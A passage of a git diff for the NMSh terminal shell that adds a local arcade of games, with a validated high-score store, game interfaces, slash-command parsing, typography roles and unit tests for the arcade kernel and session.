private setAside(why: string): void { + this.notice = `Arcade data was unreadable (${why}) and was set aside; scores start fresh.`; + try { renameSync(this.path, `${this.path}.corrupt-${this.now()}`); } catch { /* leave it; the next save replaces it */ } + } + + /** The record handle for a game; loads the file on first use. */ + record(gameId: string): GameRecordHandle { + if (!GAME_ID.test(gameId) || FORBIDDEN.has(gameId)) throw new RangeError('invalid game id'); + if (!this.loaded) this.load(); + return { + get: () => structuredClone(this.games.get(gameId) ?? {}), + set: record => this.write(gameId, record), + update: change => { + const copy = structuredClone(this.games.get(gameId) ?? {}); + change(copy); + return this.write(gameId, copy); + }, + }; + } + + private write(gameId: string, record: GameRecord): boolean { + if (this.readOnly) return false; + const clean = cleanRecord(record); + if (!clean) return false; + if (!this.games.has(gameId) && this.games.size >= MAX_GAMES) return false; + const next = new Map(this.games).set(gameId, clean); + if (Buffer.byteLength(JSON.stringify(this.serialize(next))) > MAX_FILE_BYTES) return false; + this.games = next; + this.dirty = true; + return true; + } + + private serialize(games: Map): {version: number; games: Record} { + return {version: ARCADE_VERSION, games: Object.fromEntries(games)}; + } + + /** Write pending changes: temp file, then rename, owner-only. Failure leaves the old file and keeps the data in memory. */ + flush(): boolean { + if (!this.dirty || this.readOnly) return true; + try { + mkdirSync(this.options.directory, {recursive: true, mode: 0o700}); + const temp = `${this.path}.${process.pid}.tmp`; + writeFileSync(temp, JSON.stringify(this.serialize(this.games)), {mode: 0o600}); + renameSync(temp, this.path); + try { chmodSync(this.path, 0o600); } catch { /* best effort */ } + this.dirty = false; + return true; + } catch { return false; } + } +} diff --git a/src/arcade/types.ts b/src/arcade/types.ts new file mode 100644 index 00000000..c0a0f618 --- /dev/null +++ b/src/arcade/types.ts @@ -0,0 +1,99 @@ +import type {Key} from '../terminal/keys.js'; +import type {Rgb} from '../chroma/escape.js'; +import type {ColorLevel} from '../presentation/capabilities.js'; +import type {Canvas} from './Canvas.js'; +import type {EffectsLevel} from './effects.js'; +import type {ArcadePalette} from './palette.js'; +import type {Rng} from './rng.js'; +import type {GameRecordHandle} from './scores.js'; + +/** + * The contract between the arcade and a game. A game is a pure state machine plus a renderer: it never reads the + * clock, the terminal, the filesystem or the global theme itself. Everything it needs arrives in `GameContext`, and + * everything it draws goes into the `Canvas` it is handed, so the same game runs under the hub, in a test with a fake + * clock, and in a screenshot. + */ +export type GameKind = 'action' | 'puzzle'; + +export interface ControlHint { keys: string; action: string } + +export interface GameDefinition { + /** Stable id used in saved records and `/game `: lowercase letters and dashes. */ + id: string; + /** Other names `/game` accepts for this game (`vespyr-run`, `dino`…). */ + aliases: readonly string[]; + title: string; + tagline: string; + description: string; + kind: GameKind; + controls: readonly ControlHint[]; + /** What the hub shows next to this game's best result, from its saved record: `Best 1,240 m`. */ + summary(record: Readonly>): string; + /** A small looping preview for the hub, drawn into `canvas` at `frame` (a counter at about 10 per second). */ + preview(canvas: Canvas, frame: number, palette: ArcadePalette): void; + create(context: GameContext): GameInstance; +} + +export interface MotionPreferences { + /** Decorative effects: particles, trails, pops, shake. */ + effects: EffectsLevel; + /** Reduced motion: no shake, no flashes, no full-screen transitions. */ + reduced: boolean; +} + +export interface GameContext { + /** Playfield size in cells. A game must cope with any size from 20 x 8 up, and `resize` changes it later. */ + size: {columns: number; rows: number}; + /** Seed for this run (a new one every run, a saved one when a game resumes). */ + seed: number; + rng: Rng; + motion: MotionPreferences; + color: ColorLevel; + safeGlyphs: boolean; + /** The saved record for this game (read and written through the arcade's validated store). */ + record: GameRecordHandle; + /** The arcade's clock in milliseconds; tests drive it by hand. */ + now(): number; +} + +export type GameStatus = 'ready' | 'playing' | 'paused' | 'over' | 'won'; + +export interface GameResult { + /** The headline number: score, distance or seconds. */ + score: number; + /** How it is shown (`1,240`, `3:07`). */ + scoreText: string; + /** A new best for the person; the game over screen celebrates it. */ + record: boolean; + /** Lines under the score (`Distance 420 m`, `Passed 18`). */ + details: readonly string[]; +} + +export type GameKeyResult = 'handled' | 'ignored' | 'back' | 'exit'; + +export interface GameInstance { + readonly status: GameStatus; + /** Set when status is `over` or `won`. */ + readonly result: GameResult | undefined; + /** The game wants fixed steps at this rate while playing (60 for action games, 0 for turn-based). */ + readonly stepsPerSecond: number; + /** The game wants a repaint at least every this many ms while visible (a timer, an idle animation); 0 for none. */ + readonly refreshMs: number; + /** Advance the simulation by exactly `dtMs` (one fixed step). Called only while `playing`. */ + step(dtMs: number): void; + /** Called on every frame whatever the status, with real elapsed time, for purely visual timers (idle blinks). */ + animate(dtMs: number): void; + /** One key. `back` returns to the hub (or pauses first), `exit` leaves the arcade. */ + key(key: Key): GameKeyResult; + /** Draw the whole playfield and HUD. `alpha` is the interpolation toward the next step (0..1). */ + render(canvas: Canvas, alpha: number, palette: ArcadePalette): void; + resize(size: {columns: number; rows: number}): void; + pause(): void; + /** Control hints for the footer in the current state. */ + hints(): readonly ControlHint[]; + /** Save whatever persists (a puzzle in progress). Called when the person leaves. */ + persist(): void; + dispose(): void; +} + +export type { Rgb }; diff --git a/src/commands/slashCommands.ts b/src/commands/slashCommands.ts index 8791c228..e2b00f6e 100644 --- a/src/commands/slashCommands.ts +++ b/src/commands/slashCommands.ts @@ -19,7 +19,7 @@ const META: Record> = { '/theme-bridge': {group: 'Appearance', title: 'Open Theme Bridge'}, '/chroma': {group: 'Appearance', title: 'Open Chroma'}, '/chrome': {group: 'Appearance', title: 'Open UI Chrome'}, '/cursor': {group: 'Appearance', title: 'Open Cursor & effects'}, '/motion': {group: 'Appearance', title: 'Open Motion'}, '/glyphs': {group: 'Appearance', title: 'Configure Glyph Style'}, - '/strip': {group: 'Appearance', title: 'Configure Status Strip'}, '/status-strip': {alias: '/strip'}, + '/strip': {group: 'Appearance', title: 'Configure Status Strip'}, '/status-strip': {alias: '/strip'}, '/game': {alias: '/games'}, '/arcade': {alias: '/games'}, '/screensaver': {group: 'Appearance', title: 'Open Idle visuals'}, '/activity': {group: 'Appearance', title: 'Open Live activity colors'}, '/prompt': {group: 'Composer & transcript', title: 'Open Prompt'}, '/modules': {group: 'Composer & transcript', title: 'Open Modules'}, '/layout': {group: 'Composer & transcript', title: 'Configure Composer Layout'}, '/composer': {alias: '/layout'}, '/syntax': {group: 'Composer & transcript', title: 'Open Syntax highlighting'}, @@ -41,6 +41,14 @@ const RAW_COMMANDS: readonly SlashCommand[] = [ {name: '/copy', insertion: '/copy', description: 'Select completed output: Up/Down, Enter copies, Esc returns (saved Quick Copy preferences still apply)'}, {name: '/copy N', insertion: '/copy ', description: 'Copy Nth previous output; -N the latest N, A-B or 1,3,5 several; --status adds completion status; --semantic or --both the Semantic Output reading'}, {name: '/copy settings', insertion: '/copy settings', description: 'Output navigation, Quick Copy or Interactive Picker; completion status and auto-expand preferences'}, + {name: '/games', insertion: '/games', description: 'Vespyr Arcade: Vespyr Run, Flight and Dash, Classic Sudoku and Vespyr Doku, with local high scores (/game run · /game sudoku · /arcade vespyr-doku)'}, + {name: '/game', insertion: '/game', description: 'Same as /games; /game opens a game directly: run, flight, dash, sudoku, vespyr-doku'}, + {name: '/arcade', insertion: '/arcade', description: 'Same as /games'}, + {name: '/game run', insertion: '/game run', description: 'Vespyr Run: an endless runner. Space or ↑ jumps, ↓ ducks'}, + {name: '/game flight', insertion: '/game flight', description: 'Vespyr Flight: fly through endless gaps. Space or ↑ flaps'}, + {name: '/game dash', insertion: '/game dash', description: 'Vespyr Dash: a rhythm platformer over spikes and gaps. Space or ↑ jumps'}, + {name: '/game sudoku', insertion: '/game sudoku', description: 'Classic Sudoku with notes, hints, undo and best times'}, + {name: '/game vespyr-doku', insertion: '/game vespyr-doku', description: 'Vespyr Doku: one cat in every row, column and colored region, none touching'}, {name: '/view', insertion: '/view ', description: 'Read a file or a completed output in a native viewer: /view README.md · /view 2 (output 2, numbered as /copy) · /view (latest output)'}, {name: '/edit', insertion: '/edit ', description: 'Edit a small text file in NMSh: /edit notes.md (Ctrl+S saves safely, Esc closes; vim, nano and your editor still work as usual)'}, {name: '/compare', insertion: '/compare', description: 'Compare two outputs: /compare (latest with its previous run), /compare N, /compare N M (numbers as /copy)'}, @@ -173,6 +181,8 @@ export type ParsedSlashCommand = | {kind: 'compare'; first?: number; second?: number; error?: string} /** /view [path | N]: a file (relative to the shell's directory, ~ for home), output N as /copy numbers it, or the latest output. */ | {kind: 'view'; target: string} + /** /games, /game and /arcade are one command: the hub, or a game by id or alias. */ + | {kind: 'arcade'; game?: string} /** /edit : NMSh's small native editor for one text file (relative to the shell's directory, ~ for home). */ | {kind: 'editFile'; target: string} | {kind: 'appearance'} @@ -270,6 +280,8 @@ export function parseSlashCommand(input: string): ParsedSlashCommand | undefined const clips = /^\/clips(?:\s+suggestions\s+(on|off))?\s*$/u.exec(input); if (clips) return {kind: 'clips', ...(clips[1] ? {suggestions: clips[1] === 'on'} : {})}; if (/^\/pins\s*$/u.test(input)) return {kind: 'pins'}; + const arcade = /^\/(?:games|game|arcade)(?:\s+(.*?))?\s*$/u.exec(input); + if (arcade) return {kind: 'arcade', ...(arcade[1] ? {game: arcade[1]} : {})}; const view = /^\/view(?:\s+([\s\S]*))?$/u.exec(input); if (view) return {kind: 'view', target: (view[1] ?? '').trim()}; const editFile = /^\/edit(?:\s+([\s\S]*))?$/u.exec(input); diff --git a/src/ui/typography.ts b/src/ui/typography.ts new file mode 100644 index 00000000..11872b5e --- /dev/null +++ b/src/ui/typography.ts @@ -0,0 +1,89 @@ +import type {Rgb} from '../chroma/escape.js'; +import {displayWidth, truncateText} from '../util/text.js'; + +/** + * NMSh's shared typography: semantic roles, not escape sequences. + * + * A component asks for a role (a title, a heading, a score counter, a celebration) and the width it may use; the backend + * decides how to draw it. Where the terminal has been shown to scale text (Kitty's OSC 66 text sizing protocol, + * detected separately from graphics), the role is drawn larger; everywhere else it is ordinary styled text with the same + * hierarchy in weight, color and spacing. Callers never build an OSC 66 sequence and never branch on the terminal. + * + * A block reports the cells it really occupies, so layout, wrapping, scrolling and clipping use measured sizes. Sized + * text must not be partly drawn: callers place a sized block only when all its rows are visible, and use `plain` + * otherwise. Sized text is a drawing concern only: it is never written to transcripts, saved documents or the clipboard. + */ +export type TypeRole = 'title' | 'heading' | 'subheading' | 'body' | 'caption' | 'counter' | 'celebration'; + +export type TextSizingMode = 'auto' | 'off' | 'enhanced'; + +export interface TextSizingCapability { + /** The terminal drew a block with `s=2` two cells wide: scaled text works. */ + scale: boolean; + /** The terminal drew `w=2` two cells wide: explicit widths work. */ + width: boolean; +} + +export interface TextSizingState { + mode: TextSizingMode; + capability: TextSizingCapability; + /** The terminal is known to parse the protocol without drawing scaled glyphs; only `enhanced` overrides this. */ + knownUnrendered: boolean; +} + +let state: TextSizingState = {mode: 'auto', capability: {scale: false, width: false}, knownUnrendered: false}; + +export function setTextSizing(next: Partial): void { state = {...state, ...next}; } +export function textSizing(): Readonly { return state; } + +/** Scaled text may be drawn: the person has not turned it off, and the terminal was shown to scale it. */ +export function textSizingActive(): boolean { + if (state.mode === 'off' || !state.capability.scale) return false; + return state.mode === 'enhanced' || !state.knownUnrendered; +} + +export interface TypeRequest { + role: TypeRole; + text: string; + /** The most cells the block may occupy across. */ + maxColumns: number; + /** The most rows it may occupy down (a short panel gets smaller type). */ + maxRows?: number; + /** A document heading's level (1..6) refines `heading` and `title`. */ + level?: number; + fg?: Rgb; + bg?: Rgb; +} + +/** A scaled block: the escape that draws it with the cursor at its top-left cell, and the cells it covers. */ +export interface SizedBlock { + sequence: string; + columns: number; + rows: number; +} + +export interface TypeBlock { + /** Cells the block occupies in the layout (the sized size when `sized`, otherwise the plain rows). */ + columns: number; + rows: number; + /** The ordinary rendering, one string per row (unstyled text; callers add color). Always present. */ + plain: string[]; + sized?: SizedBlock; +} + +/** The role's weight in the plain rendering: bold for everything above body text. */ +export const ROLE_BOLD: Readonly> = {title: true, heading: true, subheading: true, body: false, caption: false, counter: true, celebration: true}; + +/** Plain rendering only, until a backend fills `sized` (see ui/textSizing). */ +export function typeset(request: TypeRequest): TypeBlock { + const text = displayWidth(request.text) > request.maxColumns ? truncateText(request.text, request.maxColumns) : request.text; + const block: TypeBlock = {columns: displayWidth(text), rows: 1, plain: [text]}; + const sized = sizedBackend?.(request, text); + if (sized) return {columns: sized.columns, rows: sized.rows, plain: block.plain, sized}; + return block; +} + +type SizedBackend = (request: TypeRequest, text: string) => SizedBlock | undefined; +let sizedBackend: SizedBackend | undefined; +/** Installed by the text sizing module; tests install fakes. */ +export function setSizedBackend(backend: SizedBackend | undefined): void { sizedBackend = backend; } diff --git a/tests/arcadeKernel.test.ts b/tests/arcadeKernel.test.ts new file mode 100644 index 00000000..d61ab291 --- /dev/null +++ b/tests/arcadeKernel.test.ts @@ -0,0 +1,202 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {existsSync, mkdtempSync, readFileSync, readdirSync, rmSync, statSync, writeFileSync} from 'node:fs'; +import {join} from 'node:path'; +import {Canvas, BrailleBuffer, PixelBuffer, spriteFromRows} from '../src/arcade/Canvas.js'; +import {FixedStep, FrameTimer} from '../src/arcade/loop.js'; +import {createRng, hashSeed} from '../src/arcade/rng.js'; +import {ParticleSystem, Popups, Shake, Trail} from '../src/arcade/effects.js'; +import {ArcadeStore, ARCADE_FILE, MAX_FILE_BYTES} from '../src/arcade/scores.js'; +import {arcadePalette, regionColors, skyAt} from '../src/arcade/palette.js'; +import {findGame, ARCADE_GAMES, gameNames} from '../src/arcade/registry.js'; +import {parseSlashCommand} from '../src/commands/slashCommands.js'; +import {stripAnsi, displayWidth} from '../src/util/text.js'; + +const tmp = () => mkdtempSync(join(process.env.TMPDIR ?? '/tmp', 'arcade-')); + +test('rng: the same seed gives the same sequence; forks do not disturb it', () => { + const a = createRng('vespyr'); + const b = createRng('vespyr'); + assert.deepEqual(Array.from({length: 8}, () => a.next()), Array.from({length: 8}, () => b.next())); + const c = createRng(7); + const d = createRng(7); + c.fork('particles').next(); + assert.equal(c.next(), d.next(), 'a fork never advances its parent'); + assert.notEqual(hashSeed('a'), hashSeed('b')); + const r = createRng(1); + for (let i = 0; i < 500; i += 1) { const n = r.int(3, 6); assert.ok(n >= 3 && n <= 6); } + assert.equal(r.shuffle([1, 2, 3, 4, 5]).sort().join(''), '12345'); +}); + +test('fixed step: equal steps whatever the frame rate, a stall is clamped, the remainder carries', () => { + const run = (frame: number, total: number) => { + const loop = new FixedStep(10, 100); + let steps = 0; + for (let t = 0; t < total; t += frame) loop.advance(frame, () => { steps += 1; }); + return steps; + }; + assert.equal(run(10, 1000), 100); + assert.equal(run(33, 990), 99); + const loop = new FixedStep(10, 5); + let steps = 0; + const alpha = loop.advance(10_000, () => { steps += 1; }); + assert.equal(steps, 5, 'a long stall is not replayed as a burst'); + assert.ok(alpha >= 0 && alpha < 1); + let now = 0; + const timer = new FrameTimer(() => now); + assert.equal(timer.delta(), 0); + now = 40; + assert.equal(timer.delta(), 40); +}); + +test('canvas: text clips, wide glyphs take two cells, rows are cached and re-encoded only when changed', () => { + const canvas = new Canvas(10, 3); + assert.equal(canvas.text(-2, 0, 'hello'), 5); + assert.equal(canvas.plain()[0], 'llo '); + canvas.text(8, 1, '猫猫'); + assert.equal(canvas.plain()[1]!.length >= 9, true); + assert.ok(canvas.plain().every(row => displayWidth(row) <= 10)); + const first = canvas.rows(); + const second = canvas.rows(); + assert.equal(first[2], second[2]); + canvas.put(0, 2, 'x', {fg: {red: 1, green: 2, blue: 3}}); + assert.notEqual(canvas.rows()[2], first[2]); + assert.equal(canvas.rows()[0], first[0], 'untouched rows come from the cache'); +}); + +test('canvas: pixel layers draw half blocks; without color a lit half is a solid glyph; Safe Glyphs are ASCII only', () => { + const red = {red: 255, green: 0, blue: 0}; + const blue = {red: 0, green: 0, blue: 255}; + const buffer = new PixelBuffer(3, 4); + buffer.set(0, 0, red); buffer.set(0, 1, blue); buffer.set(1, 0, red); buffer.set(2, 3, blue); + const canvas = new Canvas(3, 2); + canvas.blit(buffer); + assert.deepEqual(canvas.plain({color: 'none', safe: false}), ['█▀ ', ' ▄']); + assert.deepEqual(canvas.plain({color: 'none', safe: true}), ['#" ', ' ,']); + assert.match(canvas.rows({color: 'truecolor', safe: false})[0]!, /\u001b\[38;2;255;0;0m\u001b\[48;2;0;0;255m▀/u); + assert.doesNotMatch(canvas.rows({color: 'none', safe: false}).join(''), /\u001b\[3[0-9];|\u001b\[4[0-9];/u); + const sprite = spriteFromRows(['ab', 'a.'], {a: red, b: blue}); + const b2 = new PixelBuffer(4, 2); + b2.sprite(sprite, 1, 0, true); + assert.deepEqual([b2.get(1, 0), b2.get(2, 0)], [blue, red], 'flipped horizontally'); +}); + +test('canvas: Braille dots land in the right cell and bit, and are ASCII in Safe mode', () => { + const braille = new BrailleBuffer(2, 1); + braille.set(0, 0); braille.set(3, 3); + const canvas = new Canvas(2, 1); + canvas.blitBraille(braille); + assert.equal(canvas.plain()[0], '⠁⢀'); + assert.equal(canvas.plain({color: 'none', safe: true})[0], '..'); +}); + +test('effects: bounded pools, deterministic, switched off and scaled by the level', () => { + const make = (level: 'off' | 'subtle' | 'normal' | 'rich') => { + const system = new ParticleSystem(createRng(3), 20, level); + system.burst({x: 5, y: 5, count: 10, speed: 10, colors: [{red: 1, green: 1, blue: 1}]}); + return system; + }; + assert.equal(make('off').count, 0); + assert.equal(make('subtle').count, 5); + assert.equal(make('normal').count, 10); + const system = make('rich'); + for (let i = 0; i < 5; i += 1) system.burst({x: 1, y: 1, count: 20, speed: 5, colors: [{red: 1, green: 1, blue: 1}]}); + assert.ok(system.count <= 20, 'never above its capacity'); + for (let i = 0; i < 100; i += 1) system.update(50); + assert.equal(system.count, 0, 'particles expire'); + const a = make('normal'); const b = make('normal'); + a.update(100); b.update(100); + assert.deepEqual(a.particles.map(p => [p.x, p.y]), b.particles.map(p => [p.x, p.y])); + const trail = new Trail(3); + for (let i = 0; i < 10; i += 1) trail.push(i, 0); + assert.equal(trail.size, 3); + const popups = new Popups(2); + for (let i = 0; i < 5; i += 1) popups.add('+1', 3, 3, {red: 1, green: 1, blue: 1}); + assert.equal(popups.count, 2); + const shake = new Shake(); + shake.trigger(false); + assert.deepEqual(shake.offset, {x: 0, y: 0}, 'reduced motion never shakes'); + shake.trigger(true); + const o = shake.offset; + assert.ok(Math.abs(o.x) <= 1 && Math.abs(o.y) <= 1); +}); + +test('palette: derived from the theme; sky cycles; region colors are distinct', () => { + const palette = arcadePalette(); + assert.ok(palette.cat.body.red > 0); + const noon = skyAt(palette, 0); + const midnight = skyAt(palette, 0.5); + assert.ok(noon.stars === 0 && midnight.stars > 0); + const regions = regionColors(8, palette.deep, palette); + assert.equal(new Set(regions.map(c => `${c.red},${c.green},${c.blue}`)).size, 8); +}); + +test('score store: round trip, atomic write, bounded and validated records', () => { + const dir = tmp(); + try { + const store = new ArcadeStore({directory: dir}); + const run = store.record('run'); + assert.deepEqual(run.get(), {}); + assert.equal(run.set({best: 120, runs: 3}), true); + assert.equal(run.update(record => { record.runs = 4; }), true); + assert.equal(store.flush(), true); + assert.deepEqual(readdirSync(dir), [ARCADE_FILE], 'no temp file is left behind'); + assert.equal(statSync(join(dir, ARCADE_FILE)).mode & 0o077, 0, 'owner-only'); + const again = new ArcadeStore({directory: dir}); + assert.deepEqual(again.record('run').get(), {best: 120, runs: 4}); + assert.equal(run.set({bad: Number.NaN}), false, 'non-finite numbers are refused'); + assert.equal(run.set({['__proto__']: 1} as never), false); + assert.equal(run.set({text: 'x'.repeat(9000)}), false, 'oversized strings are refused'); + assert.deepEqual(run.get(), {best: 120, runs: 4}, 'a refused write changes nothing'); + assert.throws(() => store.record('Bad Id'), RangeError); + const big = store.record('big'); + assert.equal(big.set({list: Array.from({length: 4096}, (_, i) => 'x'.repeat(100) + i)}), false, 'the file stays under its cap'); + } finally { rmSync(dir, {recursive: true, force: true}); } +}); + +test('score store: a damaged file is set aside and the arcade starts fresh; a newer version is read-only', () => { + const dir = tmp(); + try { + writeFileSync(join(dir, ARCADE_FILE), '{not json'); + const store = new ArcadeStore({directory: dir, now: () => 42}); + assert.deepEqual(store.record('run').get(), {}); + assert.match(store.recovered ?? '', /unreadable/u); + assert.ok(existsSync(join(dir, `${ARCADE_FILE}.corrupt-42`))); + assert.equal(store.record('run').set({best: 1}), true); + store.flush(); + assert.equal(JSON.parse(readFileSync(join(dir, ARCADE_FILE), 'utf8')).games.run.best, 1); + + writeFileSync(join(dir, ARCADE_FILE), JSON.stringify({version: 99, games: {run: {best: 5}}})); + const future = new ArcadeStore({directory: dir}); + future.load(); + assert.equal(future.writable, false); + assert.equal(future.record('run').set({best: 9}), false); + future.flush(); + assert.equal(JSON.parse(readFileSync(join(dir, ARCADE_FILE), 'utf8')).version, 99, 'a newer file is never overwritten'); + + writeFileSync(join(dir, ARCADE_FILE), JSON.stringify({version: 1, games: {run: {best: 5, evil: {['__proto__']: 1}}, 'Bad Id': {x: 1}, sudoku: {best: {easy: 61}}}})); + const partly = new ArcadeStore({directory: dir}); + assert.deepEqual(partly.record('run').get(), {}, 'a record with a forbidden key is dropped, not trusted'); + assert.deepEqual(partly.record('sudoku').get(), {best: {easy: 61}}); + writeFileSync(join(dir, ARCADE_FILE), 'x'.repeat(MAX_FILE_BYTES + 10)); + const huge = new ArcadeStore({directory: dir}); + huge.load(); + assert.match(huge.recovered ?? '', /larger/u); + } finally { rmSync(dir, {recursive: true, force: true}); } +}); + +test('registry and commands: five games, one parser for /games, /game and /arcade, aliases and unknown names', () => { + assert.deepEqual(gameNames(), ['run', 'flight', 'dash', 'sudoku', 'vespyr-doku']); + for (const [name, id] of [['run', 'run'], ['Vespyr Run', 'run'], ['dino', 'run'], ['flight', 'flight'], ['vespyr-dash', 'dash'], ['classic-sudoku', 'sudoku'], ['doku', 'vespyr-doku'], ['Vespyr-Doku', 'vespyr-doku']]) { + assert.equal(findGame(name)?.id, id, name); + } + assert.equal(findGame('tetris'), undefined); + assert.equal(findGame(''), undefined); + for (const command of ['/games', '/game', '/arcade']) assert.deepEqual(parseSlashCommand(command), {kind: 'arcade'}, command); + for (const command of ['/game run', '/games run', '/arcade run']) assert.deepEqual(parseSlashCommand(command), {kind: 'arcade', game: 'run'}, command); + assert.deepEqual(parseSlashCommand('/arcade vespyr-doku'), {kind: 'arcade', game: 'vespyr-doku'}); + const ids = ARCADE_GAMES.map(game => game.id); + assert.equal(new Set(ids).size, ids.length); + assert.ok(ARCADE_GAMES.every(game => /^[a-z][a-z0-9-]*$/u.test(game.id))); + assert.equal(stripAnsi('x'), 'x'); +}); diff --git a/tests/arcadeSession.test.ts b/tests/arcadeSession.test.ts new file mode 100644 index 00000000..bd792a0e --- /dev/null +++ b/tests/arcadeSession.test.ts @@ -0,0 +1,257 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {mkdtempSync, rmSync} from 'node:fs'; +import {join} from 'node:path'; +import type {Key} from '../src/terminal/keys.js'; +import {ArcadeSession, type ArcadeEnvironment} from '../src/arcade/ArcadeSession.js'; +import {ArcadeStore} from '../src/arcade/scores.js'; +import type {Canvas} from '../src/arcade/Canvas.js'; +import type {ArcadePalette} from '../src/arcade/palette.js'; +import type {ControlHint, GameDefinition, GameInstance, GameKeyResult, GameStatus} from '../src/arcade/types.js'; +import {stripAnsi, displayWidth} from '../src/util/text.js'; +import {TerminalApp} from '../src/app/TerminalApp.js'; +import {presentationClock} from '../src/motion/PresentationClock.js'; +import {executionFrameFixture} from './support/executionTimelineFrames.js'; + +/** A scripted game: counts steps, dies after `dieAt` steps, records what it was given. */ +function scripted(log: string[], options: {dieAt?: number} = {}): GameDefinition { + return { + id: 'scripted', aliases: ['s'], title: 'Scripted', tagline: 'a test game', description: 'Used by tests.', kind: 'action', controls: [{keys: 'Space', action: 'jump'}], + summary: record => `Best ${String(record.best ?? 0)}`, + preview: (canvas: Canvas) => canvas.text(0, 0, 'preview'), + create: context => { + let status: GameStatus = 'ready'; + let steps = 0; + let paused = false; + let size = context.size; + const instance: GameInstance = { + get status() { return status; }, + get result() { return status === 'over' ? {score: steps, scoreText: `${steps}`, record: steps > 5, details: ['Distance 1 m']} : undefined; }, + stepsPerSecond: 60, refreshMs: 0, + step() { steps += 1; if (options.dieAt && steps >= options.dieAt) status = 'over'; }, + animate() {}, + key(key: Key): GameKeyResult { + log.push(`key:${key.kind}${key.kind === 'text' ? `:${key.value}` : ''}`); + if (key.kind === 'text' && key.value === ' ') { if (status === 'ready') status = 'playing'; paused = false; return 'handled'; } + return 'ignored'; + }, + render(canvas: Canvas, _a: number, palette: ArcadePalette) { canvas.clear(); canvas.text(0, 0, `steps ${steps} ${size.columns}x${size.rows}${paused ? ' paused' : ''}`, {fg: palette.ink}); }, + resize(next) { size = next; log.push(`resize:${next.columns}x${next.rows}`); }, + pause() { paused = true; log.push('pause'); }, + hints: (): readonly ControlHint[] => [{keys: 'Space', action: 'jump'}], + persist() { log.push('persist'); }, + dispose() { log.push('dispose'); }, + }; + return instance; + }, + }; +} + +function fixture(options: {dieAt?: number} = {}) { + const dir = mkdtempSync(join(process.env.TMPDIR ?? '/tmp', 'arcade-s-')); + const log: string[] = []; + let now = 1000; + let reduced = false; + const env: ArcadeEnvironment = { + store: new ArcadeStore({directory: dir}), now: () => now, motion: () => ({reduced, effects: 'normal'}), color: () => 'none', safeGlyphs: () => false, seed: () => 7, + }; + const games = [scripted(log, options), {...scripted(log), id: 'second', aliases: [], title: 'Second'}]; + const session = new ArcadeSession(env, games, {columns: 90, rows: 24}); + const key = (value: Key['kind'] | string) => session.key(value.length === 1 ? {kind: 'text', value} : {kind: value} as Key); + const screen = () => session.render().rows.map(row => stripAnsi(row)).join('\n'); + return {session, log, key, screen, advance: (ms: number) => { now += ms; }, setReduced: (value: boolean) => { reduced = value; }, dir, done: () => { session.dispose(); rmSync(dir, {recursive: true, force: true}); }}; +} + +test('hub: lists the games, moves with the shared keys, opens one on Enter and Esc closes the arcade', () => { + const f = fixture(); + try { + const hub = f.screen(); + assert.match(hub, /Vespyr Arcade/u); + assert.match(hub, /Scripted/u); + assert.match(hub, /Second/u); + assert.match(hub, /Best 0/u); + assert.equal(f.session.selected, 0); + f.key('down'); assert.equal(f.session.selected, 1); + f.key('up'); f.key('up'); assert.equal(f.session.selected, 1, 'wraps'); + f.key('1'); assert.equal(f.session.selected, 0); + assert.equal(f.session.key({kind: 'enter'}), 'handled'); + assert.equal(f.session.screen, 'playing'); + assert.match(f.screen(), /steps 0/u); + assert.equal(f.key('escape'), 'handled', 'Esc in a game that has not started leaves it for the hub'); + assert.equal(f.session.screen, 'hub'); + assert.equal(f.key('escape'), 'close'); + } finally { f.done(); } +}); + +test('game: only the active game gets keys; fixed steps run only while playing; Esc pauses and the menu resumes', () => { + const f = fixture(); + try { + f.key('enter'); + f.session.frame(100); + assert.match(f.screen(), /steps 0/u, 'a game that is ready does not step'); + f.key(' '); + f.session.frame(100); + assert.match(f.screen(), /steps 6/u, '100 ms is six 60 Hz steps'); + f.key('escape'); + assert.equal(f.session.screen, 'paused'); + assert.deepEqual(f.log.filter(line => line === 'pause'), ['pause']); + assert.match(f.screen(), /Paused/u); + assert.match(f.screen(), /Resume/u); + f.session.frame(500); + assert.match(f.screen(), /steps 6/u, 'no steps while paused'); + f.log.length = 0; + f.key('down'); f.key('up'); + assert.deepEqual(f.log, [], 'menu keys never reach the game'); + f.key('enter'); + assert.equal(f.session.screen, 'playing'); + f.session.frame(100); + assert.match(f.screen(), /steps 12/u); + assert.equal(f.session.key({kind: 'interrupt'}), 'close', 'Ctrl+C always leaves the arcade'); + } finally { f.done(); } +}); + +test('game over: the card names the result, a mashed key right after the end does nothing, then Retry starts a fresh run', () => { + const f = fixture({dieAt: 30}); + try { + f.key('enter'); f.key(' '); + for (let i = 0; i < 12; i += 1) f.session.frame(100); + assert.equal(f.session.screen, 'over'); + assert.match(f.screen(), /New record|Game over/u); + assert.match(f.screen(), /Retry/u); + assert.match(f.screen(), /Back to Arcade/u); + assert.match(f.screen(), /Exit/u); + f.key('enter'); + assert.equal(f.session.screen, 'over', 'keys are ignored for a moment after the end'); + f.advance(600); + f.key('enter'); + assert.equal(f.session.screen, 'playing'); + assert.match(f.screen(), /steps 0/u, 'a new run'); + f.key(' '); + for (let i = 0; i < 12; i += 1) f.session.frame(100); + f.advance(600); + assert.equal(f.session.screen, 'over'); + f.key('b'); + assert.equal(f.session.screen, 'hub'); + assert.ok(f.log.includes('persist') && f.log.includes('dispose')); + } finally { f.done(); } +}); + +test('frames: the clock is wanted only while it helps, and reduced motion stops the idle hub', () => { + const f = fixture(); + try { + assert.equal(f.session.interval, 100); + f.setReduced(true); + assert.equal(f.session.interval, 0, 'a still hub asks for no frames'); + f.setReduced(false); + f.key('enter'); f.key(' '); + assert.equal(f.session.interval, 33); + assert.equal(f.session.floor, 16); + f.key('escape'); + assert.equal(f.session.interval, 0, 'a paused game asks for no frames'); + } finally { f.done(); } +}); + +test('layout: every row fits, at any size from tiny to wide, and a resize reaches the game', () => { + for (const [columns, rows] of [[20, 8], [30, 10], [60, 16], [90, 24], [160, 50]] as const) { + const dir = mkdtempSync(join(process.env.TMPDIR ?? '/tmp', 'arcade-l-')); + try { + const session = new ArcadeSession({store: new ArcadeStore({directory: dir}), now: () => 0, motion: () => ({reduced: false, effects: 'normal'}), color: () => 'truecolor', safeGlyphs: () => false, seed: () => 1}, + [scripted([]), scripted([])], {columns, rows}); + for (const phase of ['hub', 'game', 'paused'] as const) { + if (phase === 'game') { session.key({kind: 'enter'}); session.key({kind: 'text', value: ' '}); } + if (phase === 'paused') session.key({kind: 'escape'}); + const frame = session.render(); + assert.ok(frame.rows.length <= rows, `${columns}x${rows} ${phase}: ${frame.rows.length} rows`); + for (const row of 